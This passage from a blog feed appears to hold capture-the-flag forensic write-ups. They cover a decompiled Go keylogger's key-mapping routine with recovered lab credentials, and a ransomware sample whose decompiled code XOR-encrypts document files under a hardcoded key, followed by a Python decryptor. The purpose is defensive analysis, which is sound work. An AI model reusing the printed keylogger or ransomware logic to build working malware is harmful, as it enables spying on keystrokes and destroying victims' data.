  int v20; // r10d
  int v21; // r11d
  int v22; // r8d
  int v23; // r9d
  int v24; // r10d
  int v25; // r11d
  __int64 v26; // rax
  int v27; // r10d
  int v28; // r11d
  __int64 v30; // [rsp-38h] [rbp-48h]
  __int64 v31; // [rsp-38h] [rbp-48h]
  __int64 v32; // [rsp-30h] [rbp-40h]
  __int64 v33; // [rsp-28h] [rbp-38h]
  __int64 v34; // [rsp-20h] [rbp-30h]
  __int64 v35; // [rsp-18h] [rbp-28h]
  __int128 v36; // [rsp+0h] [rbp-10h] BYREF

  v10 = a1 - 8;
  switch ( a1 )
  {
    case 8LL:
      v11 = 11;
      v12 = &quot;[BACKSPACE]NottaHacker/dev/stdout/dev/stderr&quot;;
      break;
    case 9LL:
      v11 = 5;
      v12 = &quot;[TAB][ALT][ESC]false&amp;lt;nil&amp;gt;ErrorwritecloseMarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthLocalGetDCTYPE PRET 1562578125int16int32int64uint8arrayslice and NRGBAdefersweeptestRtestWexecWexecRschedhchansudoggscanmheaptracepanicsleep cnt=gcing MB,  got= ...\n max=scav  ptr ] = (usageinit  ms, fault tab= top=[...], fp:ntohstls: Earlyfileshttpsimap2imap3imapspop3shostsGreeksse41sse42ssse3SHA-1P-224P-256P-384P-521ECDSA (at Classparse[CTRL][LEFT][DOWN]StringFormat[]bytestringSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minutesecondBitBltPatBltEndDocLineToMulDivPBSZ 0PROT P390625uint16uint32uint64structchan&amp;lt;-&amp;lt;-chan ValueRGBA64Gray16sysmontimersefenceselect, not object next= jobs= goid sweep  B -&amp;gt; % util alloc free  span= prev= list=, i =  code= addr= m-&amp;gt;p= p-&amp;gt;m=SCHED  curg= ctxt: min=  max= (...)\n m=nil base GetACPlistensocket, val X25519%w%.0wnetdnsdomaingophertelnet.localreturn.onionip+netSaveDCCommonrdtscppopcntcmd/goheaderAnswerLengthsendtoSTREETavx512rdrandrdseed[ENTER][SHIFT][SPACE][RIGHT]float32float64readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltEllipseEndPageSetRectToAsciiUSER %sPASS %sREST %dSTOR %s19531259765625invaliduintptrSwapperChanDir Value&amp;gt;NRGBA64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = panic:  nmsys= locks= dying= allocsGODEBUG m-&amp;gt;g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type CopySidWSARecvWSASendconnectnil keyderivedInitialwindowswsarecvwsasendlookup writeto%03d %sFillRgnpdh.dllIsChildSetMenuavx512fos/execruntimeSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:::ffff:answersFreeSidSleepEx2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsave#internGoString&quot;;
      break;
    case 13LL:
      v11 = 7;
      v12 = &quot;[ENTER][SHIFT][SPACE][RIGHT]float32float64readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltEllipseEndPageSetRectToAsciiUSER %sPASS %sREST %dSTOR %s19531259765625invaliduintptrSwapperChanDir Value&amp;gt;NRGBA64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = panic:  nmsys= locks= dying= allocsGODEBUG m-&amp;gt;g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type CopySidWSARecvWSASendconnectnil keyderivedInitialwindowswsarecvwsasendlookup writeto%03d %sFillRgnpdh.dllIsChildSetMenuavx512fos/execruntimeSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:::ffff:answersFreeSidSleepEx2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsave#internGoString&quot;;
      break;
    case 16LL:
      v11 = 7;
      v12 = &quot;[SHIFT][SPACE][RIGHT]float32float64readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltEllipseEndPageSetRectToAsciiUSER %sPASS %sREST %dSTOR %s19531259765625invaliduintptrSwapperChanDir Value&amp;gt;NRGBA64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = panic:  nmsys= locks= dying= allocsGODEBUG m-&amp;gt;g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type CopySidWSARecvWSASendconnectnil keyderivedInitialwindowswsarecvwsasendlookup writeto%03d %sFillRgnpdh.dllIsChildSetMenuavx512fos/execruntimeSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:::ffff:answersFreeSidSleepEx2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsave#internGoString&quot;;
      break;
    case 17LL:
      v11 = 6;
      v12 = &quot;[CTRL][LEFT][DOWN]StringFormat[]bytestringSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minutesecondBitBltPatBltEndDocLineToMulDivPBSZ 0PROT P390625uint16uint32uint64structchan&amp;lt;-&amp;lt;-chan ValueRGBA64Gray16sysmontimersefenceselect, not object next= jobs= goid sweep  B -&amp;gt; % util alloc free  span= prev= list=, i =  code= addr= m-&amp;gt;p= p-&amp;gt;m=SCHED  curg= ctxt: min=  max= (...)\n m=nil base GetACPlistensocket, val X25519%w%.0wnetdnsdomaingophertelnet.localreturn.onionip+netSaveDCCommonrdtscppopcntcmd/goheaderAnswerLengthsendtoSTREETavx512rdrandrdseed[ENTER][SHIFT][SPACE][RIGHT]float32float64readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltEllipseEndPageSetRectToAsciiUSER %sPASS %sREST %dSTOR %s19531259765625invaliduintptrSwapperChanDir Value&amp;gt;NRGBA64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = panic:  nmsys= locks= dying= allocsGODEBUG m-&amp;gt;g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type CopySidWSARecvWSASendconnectnil keyderivedInitialwindowswsarecvwsasendlookup writeto%03d %sFillRgnpdh.dllIsChildSetMenuavx512fos/execruntimeSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:::ffff:answersFreeSidSleepEx2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsave#internGoString&quot;;
      break;
    case 18LL:
      v11 = 5;
      v12 = &quot;[ALT][ESC]false&amp;lt;nil&amp;gt;ErrorwritecloseMarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthLocalGetDCTYPE PRET 1562578125int16int32int64uint8arrayslice and NRGBAdefersweeptestRtestWexecWexecRschedhchansudoggscanmheaptracepanicsleep cnt=gcing MB,  got= ...\n max=scav  ptr ] = (usageinit  ms, fault tab= top=[...], fp:ntohstls: Earlyfileshttpsimap2imap3imapspop3shostsGreeksse41sse42ssse3SHA-1P-224P-256P-384P-521ECDSA (at Classparse[CTRL][LEFT][DOWN]StringFormat[]bytestringSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minutesecondBitBltPatBltEndDocLineToMulDivPBSZ 0PROT P390625uint16uint32uint64structchan&amp;lt;-&amp;lt;-chan ValueRGBA64Gray16sysmontimersefenceselect, not object next= jobs= goid sweep  B -&amp;gt; % util alloc free  span= prev= list=, i =  code= addr= m-&amp;gt;p= p-&amp;gt;m=SCHED  curg= ctxt: min=  max= (...)\n m=nil base GetACPlistensocket, val X25519%w%.0wnetdnsdomaingophertelnet.localreturn.onionip+netSaveDCCommonrdtscppopcntcmd/goheaderAnswerLengthsendtoSTREETavx512rdrandrdseed[ENTER][SHIFT][SPACE][RIGHT]float32float64readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltEllipseEndPageSetRectToAsciiUSER %sPASS %sREST %dSTOR %s19531259765625invaliduintptrSwapperChanDir Value&amp;gt;NRGBA64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = panic:  nmsys= locks= dying= allocsGODEBUG m-&amp;gt;g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type CopySidWSARecvWSASendconnectnil keyderivedInitialwindowswsarecvwsasendlookup writeto%03d %sFillRgnpdh.dllIsChildSetMenuavx512fos/execruntimeSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:::ffff:answersFreeSidSleepEx2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsave#internGoString&quot;;
      break;
    case 20LL:
      v11 = 10;
      v12 = (const char *)&amp;amp;unk_650313;
      break;
    case 27LL:
      v11 = 5;
      v12 = &quot;[ESC]false&amp;lt;nil&amp;gt;ErrorwritecloseMarchApril+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930monthLocalGetDCTYPE PRET 1562578125int16int32int64uint8arrayslice and NRGBAdefersweeptestRtestWexecWexecRschedhchansudoggscanmheaptracepanicsleep cnt=gcing MB,  got= ...\n max=scav  ptr ] = (usageinit  ms, fault tab= top=[...], fp:ntohstls: Earlyfileshttpsimap2imap3imapspop3shostsGreeksse41sse42ssse3SHA-1P-224P-256P-384P-521ECDSA (at Classparse[CTRL][LEFT][DOWN]StringFormat[]bytestringSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minutesecondBitBltPatBltEndDocLineToMulDivPBSZ 0PROT P390625uint16uint32uint64structchan&amp;lt;-&amp;lt;-chan ValueRGBA64Gray16sysmontimersefenceselect, not object next= jobs= goid sweep  B -&amp;gt; % util alloc free  span= prev= list=, i =  code= addr= m-&amp;gt;p= p-&amp;gt;m=SCHED  curg= ctxt: min=  max= (...)\n m=nil base GetACPlistensocket, val X25519%w%.0wnetdnsdomaingophertelnet.localreturn.onionip+netSaveDCCommonrdtscppopcntcmd/goheaderAnswerLengthsendtoSTREETavx512rdrandrdseed[ENTER][SHIFT][SPACE][RIGHT]float32float64readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltEllipseEndPageSetRectToAsciiUSER %sPASS %sREST %dSTOR %s19531259765625invaliduintptrSwapperChanDir Value&amp;gt;NRGBA64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = panic:  nmsys= locks= dying= allocsGODEBUG m-&amp;gt;g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type CopySidWSARecvWSASendconnectnil keyderivedInitialwindowswsarecvwsasendlookup writeto%03d %sFillRgnpdh.dllIsChildSetMenuavx512fos/execruntimeSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:::ffff:answersFreeSidSleepEx2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsave#internGoString&quot;;
      break;
    case 32LL:
      v11 = 7;
      v12 = &quot;[SPACE][RIGHT]float32float64readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltEllipseEndPageSetRectToAsciiUSER %sPASS %sREST %dSTOR %s19531259765625invaliduintptrSwapperChanDir Value&amp;gt;NRGBA64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = panic:  nmsys= locks= dying= allocsGODEBUG m-&amp;gt;g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type CopySidWSARecvWSASendconnectnil keyderivedInitialwindowswsarecvwsasendlookup writeto%03d %sFillRgnpdh.dllIsChildSetMenuavx512fos/execruntimeSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:::ffff:answersFreeSidSleepEx2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsave#internGoString&quot;;
      break;
    case 37LL:
      v11 = 6;
      v12 = &quot;[LEFT][DOWN]StringFormat[]bytestringSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minutesecondBitBltPatBltEndDocLineToMulDivPBSZ 0PROT P390625uint16uint32uint64structchan&amp;lt;-&amp;lt;-chan ValueRGBA64Gray16sysmontimersefenceselect, not object next= jobs= goid sweep  B -&amp;gt; % util alloc free  span= prev= list=, i =  code= addr= m-&amp;gt;p= p-&amp;gt;m=SCHED  curg= ctxt: min=  max= (...)\n m=nil base GetACPlistensocket, val X25519%w%.0wnetdnsdomaingophertelnet.localreturn.onionip+netSaveDCCommonrdtscppopcntcmd/goheaderAnswerLengthsendtoSTREETavx512rdrandrdseed[ENTER][SHIFT][SPACE][RIGHT]float32float64readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltEllipseEndPageSetRectToAsciiUSER %sPASS %sREST %dSTOR %s19531259765625invaliduintptrSwapperChanDir Value&amp;gt;NRGBA64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = panic:  nmsys= locks= dying= allocsGODEBUG m-&amp;gt;g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type CopySidWSARecvWSASendconnectnil keyderivedInitialwindowswsarecvwsasendlookup writeto%03d %sFillRgnpdh.dllIsChildSetMenuavx512fos/execruntimeSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:::ffff:answersFreeSidSleepEx2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsave#internGoString&quot;;
      break;
    case 38LL:
      v11 = 4;
      v12 = &quot;[UP]&quot;;
      break;
    case 39LL:
      v11 = 7;
      v12 = &quot;[RIGHT]float32float64readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltEllipseEndPageSetRectToAsciiUSER %sPASS %sREST %dSTOR %s19531259765625invaliduintptrSwapperChanDir Value&amp;gt;NRGBA64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = panic:  nmsys= locks= dying= allocsGODEBUG m-&amp;gt;g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type CopySidWSARecvWSASendconnectnil keyderivedInitialwindowswsarecvwsasendlookup writeto%03d %sFillRgnpdh.dllIsChildSetMenuavx512fos/execruntimeSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:::ffff:answersFreeSidSleepEx2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsave#internGoString&quot;;
      break;
    case 40LL:
      v11 = 6;
      v12 = &quot;[DOWN]StringFormat[]bytestringSundayMondayFridayAugustUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13minutesecondBitBltPatBltEndDocLineToMulDivPBSZ 0PROT P390625uint16uint32uint64structchan&amp;lt;-&amp;lt;-chan ValueRGBA64Gray16sysmontimersefenceselect, not object next= jobs= goid sweep  B -&amp;gt; % util alloc free  span= prev= list=, i =  code= addr= m-&amp;gt;p= p-&amp;gt;m=SCHED  curg= ctxt: min=  max= (...)\n m=nil base GetACPlistensocket, val X25519%w%.0wnetdnsdomaingophertelnet.localreturn.onionip+netSaveDCCommonrdtscppopcntcmd/goheaderAnswerLengthsendtoSTREETavx512rdrandrdseed[ENTER][SHIFT][SPACE][RIGHT]float32float64readdirconsoleTuesdayJanuaryOctoberMUI_StdMUI_DltEllipseEndPageSetRectToAsciiUSER %sPASS %sREST %dSTOR %s19531259765625invaliduintptrSwapperChanDir Value&amp;gt;NRGBA64forcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = panic:  nmsys= locks= dying= allocsGODEBUG m-&amp;gt;g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type CopySidWSARecvWSASendconnectnil keyderivedInitialwindowswsarecvwsasendlookup writeto%03d %sFillRgnpdh.dllIsChildSetMenuavx512fos/execruntimeSHA-224SHA-256SHA-384SHA-512Ed25519MD2-RSAMD5-RSAserial:::ffff:answersFreeSidSleepEx2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsave#internGoString&quot;;
      break;
    default:
      if ( (unsigned __int64)(a1 - 48) &amp;lt;= 9 )
      {
        *(_QWORD *)&amp;amp;v36 = &amp;amp;RTYPE_int;
        *((_QWORD *)&amp;amp;v36 + 1) = runtime_convT64(a1, a2, (int)a1 - 48, a4, a5, a6, a7, a8, a9);
        v11 = 2;
        a4 = 1;
        a5 = 1;
        LODWORD(v12) = fmt_Sprintf((unsigned int)&amp;amp;unk_64F0A9, 2, (unsigned int)&amp;amp;v36, 1, 1, v22, v23, v24, v25, v30);
      }
      else
      {
        v13 = a1 - 65;
        *(_QWORD *)&amp;amp;v36 = &amp;amp;RTYPE_int;
        if ( (unsigned __int64)(a1 - 65) &amp;gt; 0x19 )
        {
          *((_QWORD *)&amp;amp;v36 + 1) = runtime_convT64(a1, a2, v13, a4, a5, a6, a7, a8, a9);
          v11 = 12;
          a4 = 1;
          a5 = 1;
          LODWORD(v12) = fmt_Sprintf((unsigned int)&amp;amp;unk_650E58, 12, (unsigned int)&amp;amp;v36, 1, 1, v18, v19, v20, v21, v30);
        }
        else
        {
          *((_QWORD *)&amp;amp;v36 + 1) = runtime_convT64(a1, a2, v13, a4, a5, a6, a7, a8, a9);
          v11 = 2;
          a4 = 1;
          a5 = 1;
          LODWORD(v12) = fmt_Sprintf((unsigned int)&amp;amp;unk_64F0A9, 2, (unsigned int)&amp;amp;v36, 1, 1, v14, v15, v16, v17, v30);
        }
      }
      break;
  }
  v36 = v9;
  v26 = runtime_convTstring((_DWORD)v12, v11, v10, a4, a5, a6, a7, a8, a9, v30);
  *(_QWORD *)&amp;amp;v36 = &amp;amp;RTYPE_string;
  *((_QWORD *)&amp;amp;v36 + 1) = v26;
  fmt_Fprintf(
    (unsigned int)go_itab__os_File_io_Writer,
    (_DWORD)runtime_bss,
    (unsigned int)&amp;amp;unk_64F10B,
    3,
    (unsigned int)&amp;amp;v36,
    1,
    1,
    v27,
    v28,
    v31,
    v32,
    v33,
    v34,
    v35);
  return os__ptr_File_Sync(runtime_bss).tab;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208033011.png&quot; alt=&quot;Pasted image 20251208033011.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;keylog.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 9&lt;/h1&gt;
&lt;h2&gt;When Janice changed her password, this was captured in a file. What is Janice&apos;s username and password&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;There is one &lt;code&gt;keylog.txt&lt;/code&gt; is given in zip, so when i open it in sublime and it looks like bunch of keystrokes registered in file,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208033457.png&quot; alt=&quot;Pasted image 20251208033457.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is user &lt;code&gt;janice&lt;/code&gt; written key by key,
&lt;ul&gt;
&lt;li&gt;So we have to extract password similarly.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208033805.png&quot; alt=&quot;Pasted image 20251208033805.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251208034901.png&quot; alt=&quot;Pasted image 20251208034901.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;janice:Password123
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 10&lt;/h1&gt;
&lt;h2&gt;What app did Janice have open the last time she ran the &quot;screenshot app&quot;?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/screenshot_1718068593.png&quot; alt=&quot;screenshot_1718068593.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Solitaire
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>HTB Sherlocks Lockpick May 2025</title><link>https://fuwari.vercel.app/posts/htb-sherlock-lockpick/notes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-sherlock-lockpick/notes/</guid><description>Writeup of HTB Lockpick Sherlock.</description><pubDate>Tue, 06 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sherlock Scenario&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Forela needs your help! A whole portion of our UNIX servers have been hit with what we think is ransomware. We are refusing to pay the attackers and need you to find a way to recover the files provided.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Category: Malware-Analysis&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Difficulty: Easy&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;File:- &lt;a href=&quot;/uploads/HTB_Sherlock_Lockpick/lockpick1.zip&quot;&gt;lockpick1.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204143911.png&quot; alt=&quot;Pasted image 20251204143911.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By extracting &lt;code&gt;lockpick1.zip&lt;/code&gt; file, we get one another &lt;code&gt;bescrypt.zip&lt;/code&gt; and after extracting it using password given in the &lt;code&gt;DANGER.txt&lt;/code&gt; we get &lt;code&gt;elf binary&lt;/code&gt; which is linux executable.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Task 1&lt;/h1&gt;
&lt;h2&gt;Please confirm the encryption key string utilized for the encryption of the files provided?&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204150950.png&quot; alt=&quot;Pasted image 20251204150950.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is the decompiled code of &lt;code&gt;main&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;undefined8 main(void)
{
  process_directory(&quot;/forela-criticaldata/&quot;,&quot;bhUlIshutrea98liOp&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is the decompiled code of &lt;code&gt;process_directory&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204151514.png&quot; alt=&quot;Pasted image 20251204151514.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void process_directory(char *param_1,undefined8 param_2)

{
  int iVar1;
  char *pcVar2;
  char local_418 [1024];
  dirent *local_18;
  DIR *local_10;
  
  local_10 = opendir(param_1);
  if (local_10 == (DIR *)0x0) {
    printf(&quot;Error opening directory: %s\n&quot;,param_1);
  }
  else {
    while (local_18 = readdir(local_10), local_18 != (dirent *)0x0) {
      iVar1 = strcmp(local_18-&amp;gt;d_name,&quot;.&quot;);
      if ((iVar1 != 0) &amp;amp;&amp;amp; (iVar1 = strcmp(local_18-&amp;gt;d_name,&quot;..&quot;), iVar1 != 0)) {
        snprintf(local_418,0x400,&quot;%s/%s&quot;,param_1,local_18-&amp;gt;d_name);
        if (local_18-&amp;gt;d_type == &apos;\x04&apos;) {
          process_directory(local_418,param_2);
        }
        else if ((local_18-&amp;gt;d_type == &apos;\b&apos;) &amp;amp;&amp;amp;
                (((((pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.txt&quot;), pcVar2 != (char *)0x0 ||
                    (pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.sql&quot;), pcVar2 != (char *)0x0)) ||
                   (pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.pdf&quot;), pcVar2 != (char *)0x0)) ||
                  ((pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.docx&quot;), pcVar2 != (char *)0x0 ||
                   (pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.xlsx&quot;), pcVar2 != (char *)0x0)))) ||
                 ((pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.csv&quot;), pcVar2 != (char *)0x0 ||
                  ((pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.json&quot;), pcVar2 != (char *)0x0 ||
                   (pcVar2 = strstr(local_18-&amp;gt;d_name,&quot;.xml&quot;), pcVar2 != (char *)0x0)))))))) {
          printf(&quot;Encrypting: %s\n&quot;,local_418);
          encrypt_file(local_418,param_2);
        }
      }
    }
    closedir(local_10);
  }
  return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;param_2&lt;/code&gt; is passed in &lt;code&gt;encrypt_file&lt;/code&gt; function and &lt;code&gt;param_2&lt;/code&gt; is  &lt;code&gt;bhUlIshutrea98liOp&lt;/code&gt; which means this is the key for encryption of file,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;encrypt_file(local_418,param_2);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;bhUlIshutrea98liOp
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Task 2&lt;/h1&gt;
&lt;h2&gt;We have recently received an email from &lt;a href=&quot;mailto:wbevansn1@cocolog-nifty.com&quot;&gt;wbevansn1@cocolog-nifty.com&lt;/a&gt; demanding to know the first and last name we have him registered as. They believe they made a mistake in the application process. Please confirm the first and last name of this applicant.&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;encrypt_file&lt;/code&gt; function is doing simple XOR operation to encrypt a file using given key,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204152245.png&quot; alt=&quot;Pasted image 20251204152245.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    for (local_20 = 0; uVar2 = local_20, (long)local_20 &amp;lt; (long)local_30; local_20 = local_20 + 1) {
      bVar1 = *(byte *)((long)local_38 + local_20);
      sVar4 = strlen(param_2);
      *(byte *)((long)local_38 + local_20) = bVar1 ^ param_2[uVar2 % sVar4];
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So simple take the key &lt;code&gt;bhUlIshutrea98liOp&lt;/code&gt; and try to decrypt any file, let&apos;s say &lt;code&gt;complaints.csv.24bes&lt;/code&gt; and it works so i made simple &lt;code&gt;decryptor.py&lt;/code&gt; to decrypt all the file,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204152026.png&quot; alt=&quot;Pasted image 20251204152026.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is &lt;code&gt;decryptor.py&lt;/code&gt; code,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import os

def decrypt_file(filename, key):
    try:
        with open(filename, &quot;rb&quot;) as file:
            encrypted_data = file.read()
        
        print(f&quot;Encrypted file size: {len(encrypted_data)}&quot;)
        
        # Decrypt using XOR with the key
        key_length = len(key)
        decrypted_data = bytearray(
            encrypted_data[i] ^ ord(key[i % key_length]) for i in range(len(encrypted_data))
        )
        
        # Generate original filename
        if filename.endswith(&quot;.24bes&quot;):
            original_filename = filename[:-6]
        else:
            original_filename = filename + &quot;.decrypted&quot;
        
        print(f&quot;Original filename generated: {original_filename}&quot;)
        
        try:
            with open(original_filename, &quot;wb&quot;) as file:
                file.write(decrypted_data)
            print(f&quot;Successfully wrote decrypted file: {original_filename}&quot;)
        except Exception as e:
            print(f&quot;Error writing file {original_filename}: {e}&quot;)
    except Exception as e:
        print(f&quot;Error decrypting file {filename}: {e}&quot;)

def decrypt_all_files(directory, key):
    for root, _, files in os.walk(directory):
        print(f&quot;Checking directory: {root}&quot;)
        for file in files:
            print(f&quot;Found file: {file}&quot;)
            if file.endswith(&quot;.24bes&quot;):
                print(f&quot;Decrypting: {file}&quot;)
                decrypt_file(os.path.join(root, file), key)

def main():
    directory = &quot;.&quot;
    key = &quot;bhUlIshutrea98liOp&quot;
    print(f&quot;Starting decryption in {directory} with key: {key}&quot;)
    decrypt_all_files(directory, key)
    print(&quot;Decryption process completed.&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204152939.png&quot; alt=&quot;Pasted image 20251204152939.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20251204153047.png&quot; alt=&quot;Pasted image 20251204153047.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So just simple apply this command so see is whether is there any related strings present,
&lt;ul&gt;
&lt;li&gt;And i found the name related to this email,&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
